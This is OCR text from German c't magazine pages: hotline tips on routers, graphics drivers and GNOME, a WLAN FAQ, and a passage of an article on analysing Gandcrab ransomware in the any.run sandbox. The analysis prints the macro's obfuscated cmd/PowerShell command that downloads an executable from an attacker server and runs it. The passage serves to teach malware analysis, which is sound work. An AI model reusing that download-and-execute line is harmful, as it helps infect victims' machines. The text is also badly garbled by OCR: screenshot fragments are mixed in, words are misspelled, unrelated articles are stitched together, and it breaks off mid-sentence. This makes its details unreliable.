Verbindung
priifen

@ Internet-Setup

() Router-Setup

(@) Tetefonie-setup ‘

Telefonie Einrichtungsassistent - Hinzufligen/Bearbeiten Telefoniegerate

Hier konnen Sie neue Telefoniegerate hinzufiigen oder

Hotline | Tipps & Tricks

ches michtiger ist als das in der Surface-
Hilfe verlinkte Toolkit fiir Privatanwender
- es kennt etwa das oben genannte Firm-
ware-Bitlocker-Problem. Man findet es in
Microsofts Download-Sammlung ,,Sur-
face Tools for IT“ (siehe ct.de/y1lp), die
unter anderem auch einen Updater fiir die
Dockingstation Surface Dock enthilt.
Deren Firmware-Updates gibt es nur ma-
nuell auf diesem Wege und nicht etwa per
Windows Update. (mue@ct.de)

Tools fiir Surface Book 2: ct.de/y11p

DECT-Telefone an Asus-
Router registrieren

Sie haben ja kiirzlich den Asus-Router

DSL-AC68VG getestet. Ich wiirde
gerne mein Gigaset-DECT-Telefon am
Router anmelden, konnte in dessen Menti
auch die DECT-Funktion aktivieren, aber
keinen Button finden, um ein neues Tele-
fon zu registrieren. Auch am Gerit selbst
war keine DECT-Taste zu finden. Haben
Sie das getestet? Und wenn ja, wie regis-
triere ich mein DECT-Telefon?

Wir testen die Telefonie stets live mit
verschiedenen DECT-Handgeréten
wie dem AVM FritzFon C4 oder einem Gi-
gaset A540 CAT. Die DECT-Anbindung
hitte Asus in der Tat besser integrieren

@4 & C B Qsuchen Inon »

stehende bearbeiten.

Weiter

Um im Einrichtungsassistenten von Asus-Routern bei der Telefonie ein
DECT-Gerat zu registrieren, muss man auf das unscheinbare Plus-Symbol
klicken. Dann erscheint ein Menii zum Hinzufligen weiterer Telefonie-

geréate (DECT und SIP).
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konnen, indem der Router beim Durch-
laufen des Einrichtungsassistenten (Setup
Wizard) direkt per Popup danach fragt.

Wenn Sie im Assistenten bei der Zu-
ordnung der Rufnummern zu den physi-
schen Geriten angelangt sind, klicken Sie
auf das unscheinbare Plus-Symbol. Dann
erscheint ein Auswahlmenii zum Hinzu-
fligen von verschiedener Telefontypen.
Wahlen Sie ,,DECT*, klicken Sie auf ,,Re-
gister und 16sen Sie die Registrierungs-
funktion am Handgerit aus.

Leider hat Asus die Funktion auch im
reguliren Menii gut versteckt: Im Haupt-
menti klicken Sie auf ,,Telefonie“, wahlen
dort den Reiter ,, Telefoniegerite und kli-
cken dort dann auf das Plus-Symbol im
Kreis. (ea@ct.de)

FreeSync mit GeForce
nutzen?

Ich besitze einen neuen Monitor mit

FreeSync, der an einer GeForce GTX
1060 hiangt, die nur G-Sync beherrscht.
Gibt es eine Moglichkeit, FreeSync trotz-
dem zu nutzen?

FreeSync funktioniert unter Windows

derzeit auch, wenn eine GeForce das
Bild berechnet, sofern das Display an
einer Radeon-Grafikeinheit angeschlos-
sen ist. Allerdings wird bei einer zweiten
Grafikkarte im System die Nvidia-System-
steuerung meist ausgeblendet - dort
misste man eigentlich die rendernde

Steuerung fur Intel® UHD-Grafik

@ Display

Aligemeine Einstellungen Display wahlen
Farbeinstellungen R S WO
Mehrere Displays Bildwiederholirequent
Benutzerdefinierte Aufl... Sop bz =
Skalerung
v Displayskabierung beibehaltan

Profil wahlen
Bikdseitervehating

vies

Quantisierungsbersich
Standsrbersch
fegrencier Bevvic

W Gesamder Sereich

aktuelle Einstellungen v

W Deaktivioren

GPU wihlen. Ein paar Spiele bieten diese
Moglichkeit auch im Menii an, dort funk-
tioniert die GeForce-Radeon-Kombina-
tion tatsdchlich.

Eine Losung wire die integrierte
Radeon-Grafik etwa einer Raven-Ridge-
APU, doch die ist als Vierkern-Modell fiir
Spieler nicht mehr erste Wahl. Und bevor
man das komplette System umbaut, lohnt
es sich vielleicht eher, eine passende Kom-
bination aus Grafikkarte und Monitor in
Betracht zu ziehen - sei es Radeon+Free-
Sync oder GeForce+G-Sync.

Dazu kommt, dass Nvidias G-Sync
mit dieser Methode noch weniger Kdufer
finden wiirde. Es ist daher nicht auszu-
schliefden, dass Nvidia diese Moglichkeit
in kommenden Treibern unterbindet.

(csp@ct.de)

Blasses Bild mit Intel-IGP

Ich habe meinen Fernseher via HDMI

an meinen Media-PC mit Intel-Grafik
UHD 630 angeschlossen. Nun sind die
Farben sehr flau. Was kann ich tun?

Dazu gibt es im Grafiktreiber von

Intel Abhilfe. Den erreicht man etwa
per Rechtsklick auf den Desktop und
wihlt dann ,,Intel Grafikeinstellungen®.
Im Bereich Display findet sich am unteren
Ende der Optionen der ,,Quantisierungs-
bereich®. Dieser kann, sofern das Anzei-
gegerit als Fernseher und nicht als Moni-
tor erkannt wird, auf ,,Standardbereich®

vorschau )

Abbrechen

Ubsmehimen

Wenn die Intel-Grafik nur flaue Farben liefert, ist meist ein
eingeschrankter Quantisierungsbereich schuld.
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eingestellt sein. Die volle Farbpracht er-
halt man Uber die Auswahl von ,,Gesamter
Bereich®. Und noch ein Tipp: Unter ,Op-
tionen und Support“ lassen sich die seit
Kurzem eingeblendeten ,,Werbeaktions-
benachrichtigungen® in der Bedienober-
flache des Treibers abschalten.
(csp@ct.de)

Auto-Maximierung in
Gnome 3 abschalten

Wenn ich in Gnome Shell 3.22 von

Debian Stretch ein Fenster in die
obere rechte oder linke Ecke des Desktops
verschiebe, wird es automatisch maxi-
miert. Wie schalte ich diese automatische
Vergroflerung ab? Alle dafiir zustindigen
Erweiterungen wie ,,No Topleft Hot Cor-
ner oder ,,Disable all hot Corners® sind
entweder flir dltere Versionen oder funk-
tionieren nicht.

Dazu benoétigen Sie keine Erweite-

rung, Sie miissen lediglich einen Kon-
figurationswert der Gnome Shell verin-
dern. Dazu konnen Sie den grafischen
Konfigurations-Editor dconf-editor aus
dem gleichnamigen Paket verwenden, der
nicht zur Standard-Installation zahlt. In
der dann angezeigten Verzeichnisstruktur
finden Sie unter /org/gnome/shell/over-
rides die Option edge-tiling . Diese ist
standardmaf3ig aktiviert. Deaktivieren Sie
die Voreinstellung, schalten Sie edge-
tiling aus und tibernehmen Sie die Ein-
stellung, und der Spuk hat sofort ein Ende.

Schneller geht es iber die Komman-
dozeile, indem Sie im Terminal folgenden
Befehl eingeben:

dconf write /org/gnome/;
bshell/overrides/edge-tiling false
(mid@ct.de)
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WLAN-Generationen

Was hat es mit den Bezeichnungen
Wi-Fi 4, 5, 6 ... fiir die WLAN-Gene-
rationen auf sich?

Die neuen Namen kommen von der

Wi-Fi Alliance (WFA, www.wi-fi.org).
Dieser Herstellerverband hat sich Marke-
ting und Kompatibilititspriifungen auf die
Fahne geschrieben, damit die Marke Wi-
Fi sozusagen das Wollsiegel fiirs WLAN
ist. Weil die Namen der offiziellen Stan-
dards schwer merk- und aussprechbar
sind, sollen die WLAN-Generationen so
leichter unterscheidbar werden.

WLAN-Generationen
e
zahl

1 11 1 2 MBit/s

2 11b 1 11 MBit/s

3 11g 1 54 MBit/s

4 11n 1 bis4 72 bis 600 MBit/s

5 11ac 1 bis 8 433 bis 6933 MBit/s

6 11ax 1 bis 8 600 bis 9608 MBit/s?

1 sehr gutes Signal, eine Antenne mit Standardkanal (Wi-Fi 1 bis 4:
20 MHz bei 2,4 GHz, Wi-Fi 5/6: 80 MHz bei 5 GHz) bis max. Anten-
nenzahl mit doppelter Kanalbreite 2 laut Entwurf (Draft 3.2)

Leider ist die WFA dabei etwas zu kurz
gesprungen, denn sie unterschligt einen
wesentlichen Parameter fiir die WLAN-
Performance: die Anzahl der unterstiitzten
MIMO-Streams (Multiple Input Multiple
Output), die direkt mit der Anzahl der
benutzten Antennen zusammenhéngt.
Damit konnte man Gerate schon beim
Kaufbesser unterscheiden, um einen flot-
ten Router nicht mit einem lahmen Client
auszubremsen. Deshalb geben wir in ¢’t,
wenn moglich, die Antennenzahl in Klam-
mern an, auch wenn die WFA deklariert,
dass ihre Wi-Fi-Generationsnamen nicht
erweitert werden sollen.

Die Performance hingt aufderdem
von der Kanalbreite ab: WLAN-Gerite
koénnen - wenn das Funkband hinreichend
frei ist - beispielsweise mit einem 160 statt
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2019 bringt einen schnelleren Funkstandard und bessere
Verschliisselung fiirs WLAN. Die WLAN-FAQ beantwortet

die wichtigsten Fragen.

Von Ernst Ahlers

80 MHz breiten Signal funken. In den
maximalen Linkraten der Tabelle sind die
unterschiedlichen Kanalbreiten bertick-
sichtigt.

Brutto versus Netto

Wieso unterscheidet c¢’t zwischen
Brutto- und Netto-Durchsatz?

Der Bruttodurchsatz ist die Geschwin-

digkeit, die zwei Gerite auf dem Funk-
kanal ausgehandelt haben. Diese Linkrate
wird bei der Ubertragung einzelner WLAN-
Datenpakete auch tatsichlich genutzt, sie
ist also nicht ,,theoretisch®.

WLAN-Gerite konnen den Funk-
kanal aber nicht exklusiv und dauerhaft
nutzen. Sie miissen sich an ein iiber Pau-
sen gesteuertes Zugriffsprotokoll halten,
damit auch andere Stationen Gelegenheit
zum Senden ihrer Daten bekommen. Fer-
ner kompensiert WLAN gelegentliche
Frame-Verluste automatisch durch zeit-
fressende Wiederholungen. Deshalb liegt
der Nettodurchsatz auf der Anwendungs-
ebene - das was man als ,,Download-
geschwindigkeit sieht - immer unter der
Bruttorate, typischerweise bei der Halfte.

MU-MIMO
@ Was ist MU-MIMO?

Mit Multi-User-MIMO  (Multiple

Input Multiple Output) kann eine
WLAN-Basis iiber ihre Antennen ver-
schiedene Datenstrome an mehrere
Clients gleichzeitig senden. Wenn bei-
spielsweise ein 4-Stream-AP zwei Daten-
strome an zwei 2-Stream-Clients schicken
kann, steigt der Summendurchsatz in der
Funkzelle, wodurch alle gewinnen.

Bei Wi-Fi 5 (11ac) ist MU-MIMO eine
Option. Bei Wi-Fi 6 (11ax) gehort es als
Pflichtbestandteil zur Norm und ist auch

fir die Gegenrichtung definiert (mehrere
Clients senden gleichzeitig an einen AP).

Mehrere Datenstrome

Warum ist WLAN mit mehreren Da-
tenstromen manchmal viel schneller
als mit nur einem?

Das liegt an der vergleichsweise

hohen Latenz: Die Round Trip Time
(Ping-Zeit) liegt bei WLAN typischerweise
bei 1 bis 3 Millisekunden, also deutlich
hoher als bei Gigabit-Ethernet (typisch 0,3
bis 0,5 ms). Bei einem TCP-Datenstrom
lasst sich die ,, Leitung® nicht mit Paketen
yvollstopfen, denn auch die Empfangs-
bestéitigungen (TCP ACKs) brauchen Zeit
fiir den Riickweg. Laufen mehrere TCP-
Streams parallel, konnen die Adapter so
mehr Frames auf die Reise schicken. Der
Effekt tritt iibrigens auch bei sehr schnel-
len LAN-Verbindungen auf.

Bei guten bis exzellenten Links kon-
nen dann schon mal 70 Prozent mehr
Durchsatz herauskommen. Der Effekt
geht bei mifligen bis schlechten Verbin-
dungen deutlich zurtick, weil die WLAN-
Gerite dann auf niedrigere Linkraten zu-
riickschalten miissen. Weil der Mehr-
Stream-Gewinn die Ausnahme ist, be-
trachten und bewerten wir in unseren
WLAN-Tests weiterhin das Verhalten mit
einer einzelnen Ubertragung als alltags-
relevanten Standardfall.

WPA3-Verschliisselung
Was macht die neue WLAN-Ver-
schliisselung WPA3 besser als WPA2?

WPA3 schiitzt den Anmeldevorgang
von WLAN-Clients besser. So haben
auch Angreifer, die das WLAN-Passwort
kennen, keine Chance mehr, die ausge-
handelten Sitzungsschliissel zu errech-
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nen. Das WLAN bekommt Perfect For-
ward Secrecy (PFS), aufgezeichneter Da-
tenverkehr lasst sich mit finanzierbarem
Aufwand nicht mehr entschliisseln. Den-
noch bleibt wichtig, ein hinreichend lan-
ges WLAN-Passwort zu verwenden. 20
bis 30 wild gemischte Zeichen sollten ge-
niigen. Ferner fordert WPA3 den Einsatz
von Protected Management Frames,
siehe unten.

In Firmen-WLANs mit individueller
Authentifizierung (WPA3-Enterprise) steht
zudem eine stdrkere Verschliisselung zur
Verfiigung (AES-256-GCMP/SHA384).
Hotspots konnen Opportunistic Wireless
Encryption nutzen: OWE ermoglicht ver-
schliisselte Verbindungen ohne Passwort-
eingabe. Die Wi-Fi Alliance nennt diese
Funktion ,,Enhanced Open®.

Protokollschutz mit PMF

Wozu ist die Option PMF in meinem
WLAN-Router gut?

Protected Management Frames, kurz

PMF, schiitzen Steuerinformationen
im WLAN, beispielsweise beim An- und
Abmelden. Ohne PMF konnen Angreifer
WLAN-Clients von ihrer Basis abmelden,
um sie dazu zu bewegen, sich bei einem
von ihnen eingerichteten Honeypot neu
anzumelden.

Wenn Thre Basis die PMF-Option bie-
tet, aktivieren Sie sie. Gibt es dabei eine
Unterscheidung zwischen ,,optional® und
»erzwungen®, wihlen Sie ,optional.
Damit bekommen auch WLAN-Clients
noch eine Verbindung, die keine PMF un-
terstiitzen. So ist zumindest ein Teil Threr
Gadget-Flotte gegen WLAN-Entfiihrungs-
versuche geschiitzt.

Das nachste WLAN

Was ist 11ax und warum soll das bes-
ser sein?

Die 2019 erschienene WLAN-Genera-

tion Wi-Fi 6 (IEEE 802.11ax) bringt
zwar nochmal eine leichte Beschleunigung
durch hohere Modulationsstufen (QAM-
1024 statt QAM256) und optional breitere
Funkkanale (160 statt 80 MHz im 5-GHz-
Band). Aber daraus ergibt sich fiir einzelne
Nutzer nur selten ein greifbarer Vorteil.
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Authentifikations-methode

WPA2-Personal g

WPA-Verschliisselung
WPA Pre-Shared Key

Geschitzter Verwaltungsrahmen

eaktivieren

Fahig
Erforderlich fien

Manchmal verstecken sich Protected
Management Frames (PMF) hinter
Ubersetzungen. Aktivieren Sie sie als
,Optional” oder ,Capable” - hier
»Fahig” - damit auch Nicht-PMF-fahige
Clients noch Zugang bekommen.

Netzwerkschliissel-Rotationsintervall

Erst wenn mehrere Ubertragungen zwi-
schen Server oder NAS und Client gleich-
zeitig laufen, kann 1lax deutlich mehr
schaffen als eine vergleichbare Wi-Fi-5-/
1lac-Geritekombination (c’t 26/2018,
S.52).

Die wichtigere Verbesserung von Wi-
Fi 6 zielt auf WLAN-Funkzellen, in denen
viele Clients gleichzeitig Daten iibertra-
gen, wie etwa in Horsilen, Stadien oder
Konzerthallen: Mit OFDMA (Orthogonal
Frequency Division Multiple Access) kann
eine WLAN-Basis mehrere Clients per
MU-MIMO (siehe oben) auch dann
gleichzeitig mit Daten bedienen, wenn
diese Clients stark unterschiedliche Ver-
bindungen haben. Das verbessert den
Summendurchsatz in der Funkzelle. Hier
konnte die von den 11ax-Entwicklern pro-
pagierte Durchsatz-Vervierfachung tat-
sachlich eintreten.

WLAN-Durchsatz messen

Wie misst ¢t eigentlich die WLAN-
Performance?

WLAN | FAQ

Wir nutzen das fiir verschiedene Be-

triebssysteme erhaltliche Tool iperf3.
Filir Windows 10 haben wir es selbst tiber-
setzt (ct.de/yhvy), weil die auf Cygwin
oder dhnlichen unter Windows nachriist-
baren Linux-Umgebungen laufenden Ver-
sionen in unseren Versuchen keine kon-
sistenten Werte ergaben.

iperf3 misst den maximalen TCP-
Durchsatz zwischen einer Instanz, die
als Server lauft (iperf3 -s) und einer In-
stanz als Client (iperf3 -c <Serveradresse>
-w256k -t30). Standardméfig sendet der
Client an den Server, was in unserem
Setup (iperf3-Server auf Mobilgerit) der
Downstream ist.

Diese einzelne Messung iiber 30 Se-
kunden lduft Script-gesteuert dreimal, um
mit dem Mittelwert kurzzeitige Schwan-
kungen zu eliminieren. Auferdem be-
trachten wir auch die Gegenrichtung
(iperf3 -c .. -R). Die beiden Richtungen
werden dann fiir das Ergebnis gemittelt,
denn fiir den einen sind Downloads wich-
tiger, fiir den anderen Uploads.

Um das Maximum auszuloten, messen
wir zunéchst in unmittelbarer Nihe tiber 2
Meter auf Sicht und dann iiber 4 Meter
durch eine Steinwand. Von beiden Ergeb-
nissen nehmen wir das hohere, denn man-
che Geritekombinationen kommen mit
einem sehr starken Signal (2 m) schlechter
zurecht als mit einem starken (4 m).

Anschlieflend messen wir iiber rund
20 Meter durch Wande, um das Verhalten
auf groflere Distanzen beurteilen zu kon-
nen. Dabei variieren wir die Aufstellung
von Basis und WLAN-Client in vier Ori-
entierungen, um die Ausrichtungsabhén-
gigkeit beurteilen zu konnen. Die dabei
entstehenden Durchsitze geben wir als
Bereich an. (ea@ct.de)

iperf3 fiir Windows: ct.de/yhvy

Netzwerk-Geschwindigkeiten

I T Y [
100 94 94

Fast Ethernet

WLAN 11n (Wifi 4) 600
WLAN 11ac (Wifi 5) 6900
WLAN 11ad (Wigig 1) 6700
WLAN 11ax (Wifi 6) 9600
Gigabit-Etheret 1000
NBase-T 2,5 2500
NBase-T 5 5000
10-Gigabit-Ethemet 10000

100 200
400 800
k.A. 1400
500 1900
940 940
2400 2400
4000 4700
6000 9500

alle Werte in Megabit/s (MBit/s), WLAN-Datenrate grundsétzlich variabel, abhangig u. a. von Signalqualitdt, Kanalbreite, Anzahl Antennen,

Nachbar-WLANs

! typischer Durchsatz bei einem einzelnen / mehreren parallelen Downloads (und guter Verbindung im WLAN mit gutem Client)
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O M S e S W B Die Online-Sandbox any.run
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0 nline-Services, die hochgeladene
Dateien in einer Sandbox ausfiihren,
liefern spannende Informationen tiber die
Verhaltensweise von Schadcode. Damit
bilden sie eine gute Erganzung zu Googles
bekanntem VirusTotal-Service, der Scans
mit Engines verschiedener Antivirus-Her-
steller durchfiihrt und zusitzlich statische
Dateiinformationen zuriickgibt. Unter
den derzeit verfiigbaren Sandboxes ist
any.run die einzige, in der man mit dem
Code interagieren und die Analysedauer
bei Bedarf dynamisch anpassen kann.

Dadurch kommt man auch Schadlin-
gen auf die Schliche, die sich durch diver-
se Tricks der Analyse entziehen wollen.
Zum Beispiel indem sie die Payload-Aus-
fihrung oder den Datei-Download aus
dem Internet um mehrere Minuten verzo-
gern oder komplett darauf verzichten,
wenn keine Tastatureingaben und Maus-
Kklicks stattfinden.

In herkdmmlichen Sandboxes resul-
tieren aus solchen Taktiken oft Reports mit
liickenhaften Informationen, die den
Nutzer schlimmstenfalls in falscher Sicher-
heit wiegen. Auch sogenannte ,,Action
Scripts*, die vollig zufallige Klicks und Be-
wegungen erzeugen, konnen zielgerichtete
menschliche Aktionen nicht ersetzen.

any.run erlaubt dem Nutzer die (iiber-
wiegend mausbasierte) Interaktion mit
der Analyse-Umgebung im Browser. Der

° Service ist in eingeschrinkter Form fiir je-
I t c a C O e dermann kostenlos nutzbar: Ein Gratis-

Account gewihrt pro Sample bis zu fiinf

Bild: Albert Hulm

Minuten Analysezeit in einer 32-bittigen

f T h f 'S h I Windows-7-Installation. Das reicht, um
a u u c u u n g den Tricks der meisten Schadcode-Sam-
ples entgegenzuwirken - und um sie im
Schutz der Sandbox ein wenig genauer

Interaktive Malware-Analyse unter die Lupe zu nehmen.
Dass die daraus resultierenden Ana-
m it a ny. run i m B rowser lysereports in vielen Fillen aussagekréfti-

ger sind als ihre Pendants aus herkomm-
lichen Sandboxes, zeigen wir Thnen am
Beispiel einer Ransomware namens
»Gandcrab®, die in den vergangenen Wo-
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chen massenhaft via Spam-Mails verbrei-
tet wurde. Der Text dieser Mails verwies
in fehlerfreiem Deutsch auf vermeintliche
Bewerbungsunterlagen im Anhang. In
Wirklichkeit wartete in den beigefiigten
Word-Dokumenten schiadlicher Makro-
code darauf, Gandcrabs Verschliisselungs-
code aus dem Internet nachzuladen.
Wir haben solch ein Dokument bei
any.run hochgeladen. Der entstandene
Report dokumentiert die gesamte Infek-
tionskette bis hin zur Dateiverschliisse-
lung. In diesem Artikel zeigen wir an-
schaulich, wie so eine Analyse ablduft und
was Sie dem Report entnehmen konnen.
Sie finden den Link unter ct.de/y8wm.

Momentaufnahmen

Bei der Gandcrab-Analyse beginnen wir
ausnahmsweise nicht ganz vorn, sondern
ganz oben - namlich bei dem Link, den Sie
nach dem Redirect von ct.de/y8wm zum
any.run-Report in der Adressleiste Thres
Browsers sehen. Alle Reports, die mit
einem kostenlosen any.run-Account er-
stellt wurden, sind inklusive der analysier-
ten Samples tliber einen solchen Link 6f-
fentlich abrufbar. Ein Upload mdglicher-
weise vertraulicher Dokumente wire
somit eine schlechte Idee.

Aktuelle Reports anderer Nutzer fin-
den Sie auf der Startseite des Services
(app.any.run). Alternativ konnen Sie in der
linken Navigationsleiste des GUI auf ,, Pu-
blic Submissions® klicken und anschlie-
end Dateieigenschaften wie Hash, Name
oder kontaktierte Hosts als Suchfilter ver-
wenden. Auch communitybasierte Tags
erleichtern die Suche: Unser Gandcrab-
Report ist unter anderem als #ransom-

Der any.run-
Desktop ist

die perfekte
Spielwiese zum
Analysieren
beliebiger
Dateien.
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ware, #gandcrab und #macros-on-open
getaggt.

Beim ersten Blick auf den Report wer-
den Sie feststellen, dass der Desktop-Be-
reich der Sandbox den grofiten Raum in
any.runs grafischer Oberflache einnimmt.
In diesem Bereich konnen Sie wihrend
einer laufenden Analyse in dhnlicher
Weise agieren wie auf Ihrem eigenen
Desktop: Via Mausklicks, aber auch tiber
ein Remote-Clipboard, das das Kopieren
von Text in und aus der Sandbox erlaubt.
Dazu jedoch spiter mehr.

Im Anschluss an jede Analyse stellt
any.run alle wichtigen (sichtbaren) Akti-
vitdten als Screenshot-Sammlung dar,
durch die Sie im fertigen Report mit seit-
lichen Mausbewegungen hindurchscrol-
len konnen.

Die Screenshots in unserem Gand-
crab-Report zeigen einen Infektionsvor-
gang, der in dieser Form recht hiufig vor-
kommt. Er beginnt mit dem bereits er-
wihnten Word-Dokument als wenig ori-
ginellem ,Koder“. ,,Dieses Dokument
wurde mit einer élteren Version von Mi-
crosoft Word erstellt”, steht in weiler
Schrift auf einem typisch MS-Office-blau-
en Hintergrund. Gefolgt von einer ver-
meintlichen Anleitung zum Aktivieren
eines ,,Kompatibilitdtsmodus*, die, sofern
ein Nutzer sie befolgt, in Wirklichkeit die
Makro-Ausfithrung auf dem System akti-
viert. In any.run ist diese allerdings eh
standardmaf3ig aktiv.

Erwartungsgeméifd nimmt das Unheil
nur wenige Screenshots spiter seinen
Lauf: Gandcrab verkiindet seine Prisenz
auf dem System, indem er Dateien auf
dem Desktop verschliisselt und das vor-

Malware-Analyse | Praxis

handene frohlich-bunte Wallpaper durch
ein schwarzes mit roten Lettern aus-
tauscht. Die wiederum verweisen auf eine
Losegeldforderung, die als Textdatei in
jedem Unterordner mit verschliisselten
Dateien liegen soll.

Neu oder revolutiondr ist any.runs
Screenshot-Funktion nicht. Auch andere
Sandbox-Services wie Hybrid Analysis
oder malwr.com erstellen solche Moment-
aufnahmen. Spannend ist, was die letzten
beiden Aufnahmen zeigen - ndmlich das
Resultat mehrerer Interaktionen mit der
Sandbox wahrend der Analyse. Zu sehen
ist ein Unterordner mit verschliisselten
Dateien - und schliefllich auch der Inhalt
der Erpresserbotschaft. Letztere enthilt
die Aufforderung, den anonymisierenden
Tor-Browser zu installieren und eine be-
stimmte Onion-Website anzusurfen, um
weitere Informationen zu erhalten.

Das Anfertigen solcher Screenshots
ist, ebenso wie das gefahrlose Miterleben
einer Ransomware-Attacke, nur in einer
Sandbox-Umgebung moglich, die das Be-
trachten des Desktops und die Interaktion
mit dem Betriebssystem wihrend der
Analyse erlaubt.

Click, paste, refresh

Vielleicht sind Sie jetzt neugierig auf die
in der Sandbox verfligbaren Interaktions-
moglichkeiten geworden. Um diese selbst
auszuprobieren, miissen Sie nicht etwa
mit gefdhrlichem Schadcode auf Threm
System herumhantieren: Ein selbst erstell-
tes Word- oder Textdokument mit ein
paar Buchstaben darin erfiillt den Test-
zweck ebenso gut. Falls Sie echte Malware
bevorzugen, kdnnen Sie beliebige Sam-
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Remote ClipBoard k 7
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PROCESS | Filter by name or PID.

& Send

'WINWORD EXE /n

any.runs Remote-Clipboard kann Textschnipsel bidirektional kopieren.

ples aus den ,,Public Submissions® herun-
terladen. Der Download erfolgt in einem
Archiv, das mit dem Standardpasswort
»infected® geschiitzt ist. Vorsicht beim
Offnen des Archivs: Anders als einige an-
dere Sandboxes versieht any.run Samples
nicht mit einer harmlosen .bin-Endung,
sondern belisst sie im Originalzustand.

Um Thr Test-Dokument oder Sample
bei any.run hochzuladen, klicken Sie auf
das Plus-Zeichen (,,New Task") links oben
auf dem GUI. Nach einmaliger kosten-
loser Registrierung bei any.run 6ffnet die
Sandbox hochgeladene Word-Dokumente
auf Basis des Dateityps automatisch in
Word 2010. Die Schaltflache ,,Environ-
ment“ ganz oben rechts zeigt Thnen eine
komplette Liste aller vorinstallierten An-
wendungen. Office, Adobe Reader sowie
die gebrauchlichsten Webbrowser tragen
nicht nur zur Tarnung der Sandbox als
»ganz normales System® bei, sondern er-
weitern auch das Spektrum der Analyse-
moglichkeiten.

Ganz in der Nihe des Environment-
Buttons befindet sich ein Counter, der die
Analysedauer herunterzihlt. Standardma-
3ig betrigt sie 60 Sekunden; das mehrfa-
che Klicken auf ,,Add 60s* ermoglicht al-
lerdings eine Verldngerung auf insgesamt
finf Minuten. Damit steigt die Wahr-
scheinlichkeit, dass Schadcode brauchbare
Spuren in der Sandbox zuriicklasst - sei es,
weil die lingere Analysedauer bewusste
Verzogerungstaktiken aushebelt oder weil
ausreichend Zeit bleibt, entfernte Server
zu kontaktieren, um Dateien nachzuladen.

Kostenlose any.run-Accounts erlau-
ben die Durchfiithrung beliebig vieler Ana-
lysen. Immer wenn Sie eingeloggt sind,
konnen Sie die acht zuletzt erstellten Re-
ports iiber die blaue Mentileiste im linken
Bildschirmbereich direkt anwihlen. Dort
finden Sie auch die Schaltflache ,,Histo-
ry*, hinter der sich eine Liste samtlicher
alterer Analysen verbirgt.

Auf dem Sandbox-System konnen Sie
sich, soweit dies mit der Maus moglich ist,
frei bewegen. Ubrigens nicht nur per
Links-, sondern auch per Rechtsklick. Der
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Editor Notepad++ ist in das Kontextmenii
integriert, das sich beim Rechtsklick auf
Dateien 6ffnet. Das ist praktisch, um etwa
schidliche Skripte oder Konfigurations-
dateien von Botnetzen unter die Lupe zu
nehmen.

In die any.run-Sandbox konnen Sie
auch Text eingeben - und zwar mit dem
Remote-Clipboard. Das von Thnen ange-
legte Dokument eignet sich gut, um das
Clipboard zu testen. Es 6ffnet sich, wenn
Sie auf das unterste Icon in der Werkzeug-
leiste links neben dem Environment-But-
ton klicken. Tippen Sie einfach Thren
Wunschtext ein und klicken Sie auf
»Send“. Wenn Sie nun im Textdokument
mit Rechtsklick ,, Einfligen” auswihlen, er-
scheint dort Ihr Text. Das Ganze funktio-
niert auch umgekehrt: Markieren Sie den
gewiinschten Text in der Sandbox, kopie-
ren Sie ihn per Rechtsklick und klicken Sie
auf ,,Refresh” im Remote-Clipboard, um
den Text dort erscheinen zu lassen.

Das Clipboard ist immer dann hilf-
reich, wenn die von Thnen analysierte
Datei eine Texteingabe erwartet - oder
wenn Sie verdéchtige Code-Schnipsel aus
der Sandbox extrahieren mochten. Ein
wenig schade ist, dass es maximal 4 KByte
Text aufnehmen kann.

Bis ins kleinste Detail

Nun aber zurtick zu unserem Beispiel-Re-
port. Vermutlich sind Thnen bereits die
zahlreichen Zusatzinformationen aufge-
fallen, die any.run unter dem Desktop und
rechts davon anzeigt. Sie spielen fiir die
Auswertung des Reports eine wichtige
Rolle. Denn natiirlich reicht die visuelle
Darstellung im Desktop-Bereich bei wei-
tem nicht aus, um Malware-Aktivititen
vollstindig zu erfassen. Schadlingsarten
wie Banking-Trojaner oder Spyware wol-
len moglichst lange auf dem System ver-
weilen und werkeln daher vollstindig un-
sichtbar hinter den Kulissen.

Auch der recht offensiv auftretende
Gandcrab hat Geheimnisse. So verraten
die Screenshots aus unserem Report bei-
spielsweise nichts dariiber, wie der Er-

pressungstrojaner nach dem Offnen des
Word-Dokuments eigentlich auf das Sys-
tem gelangt ist und von welchem Prozess
er gestartet wurde.

Um solchen und anderen vermeint-
lich verborgenen Aktivitdten nachzuspi-
ren, protokolliert any.run neu gestartete
Prozessse, Netzwerkverbindungen, Down-
loads und Verdnderungen am Betriebs-
system. Das tun andere Sandbox-Services
auch - im Unterschied zu den meisten
anderen gibt any.run die registrierten
Aktivititen jedoch schon zur Laufzeit der
Analyse in Echtzeit aus. Es versieht sie
zudem mit zeitlichen Angaben in Form
der (Milli-)Sekunden, die zwischen Initia-
lisierung der Analyseumgebung und
Aktivitét verstreichen. Dadurch bleibt der
zeitliche Ablauf auch im statischen Report
liickenlos nachvollziehbar.

Gestartete Prozesse listet any.run in
der rechten Bildschirmhilfte auf. Wenn Sie
einen von ihnen anklicken und anschlie-
Bend ,,More Info* auswahlen, o6ffnet sich
unter der Uberschrift ,,Advanced Details
of Process” eine detaillierte Ansicht all sei-
ner Aktivitdten. Bei deren Bewertung hilft
any.runs Fihigkeit, typische Verhaltens-
weisen von Schadcode-Komponenten als
Gefahrenquelle zu erkennen und entspre-
chende Informationen auszugeben.

Ein gutes Beispiel dafiir sehen Sie,
wenn Sie WINWORD.exe in der Prozess-
liste der Gandcrab-Analyse anklicken: Die
Sandbox weist darauf hin, dass das Text-
verarbeitungsprogramm die Windows-
Kommandozeile cmd.exe startet. Die
Wahrscheinlichkeit, dass hinter diesem
ungewohnlichen Verhalten der Makro-
Code steckt, ist grof3.

Der Verdacht bestitigt sich, wenn Sie
als nichstes den - der Ubersichtlichkeit
halber hierarchisch eingeriickten -
cmd.exe-Prozess in der Liste anwihlen.
Uber ,,More Info* gelangen Sie auch hier
zu den Prozessdetails und konnen sich dort
den Befehl ansehen, der tiber die Kom-
mandozeile ausgefiihrt wird. Er lautet

cmd /c powErshEll

(New-Object System.Net.WebClient).
DownloadFile('http://(...)/kiki.exe",
'%temp%\xkbkagcm.exe");

start %temp%\xkbkagcm.exe

Das zufillige Kombinieren von Grof3- und
Kleinschreibung wie hier im Wort
»Powershell“ ist eine typische Verschleie-
rungstaktik von Makro-Code.

Der Befehl offnet eine Instanz von
Powershell.exe. Die 1ddt eine Datei na-
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mens kiki.exe von einem Server der Gand-
crab-Macher herunter, um sie anschlie-
3end unter dem Namen xkbkagem.exe im
%temp%-Order zu speichern und dann
auszufiihren. xkbkagem.exe alias Gand-
crab erzeugt nach einer taktischen Warte-
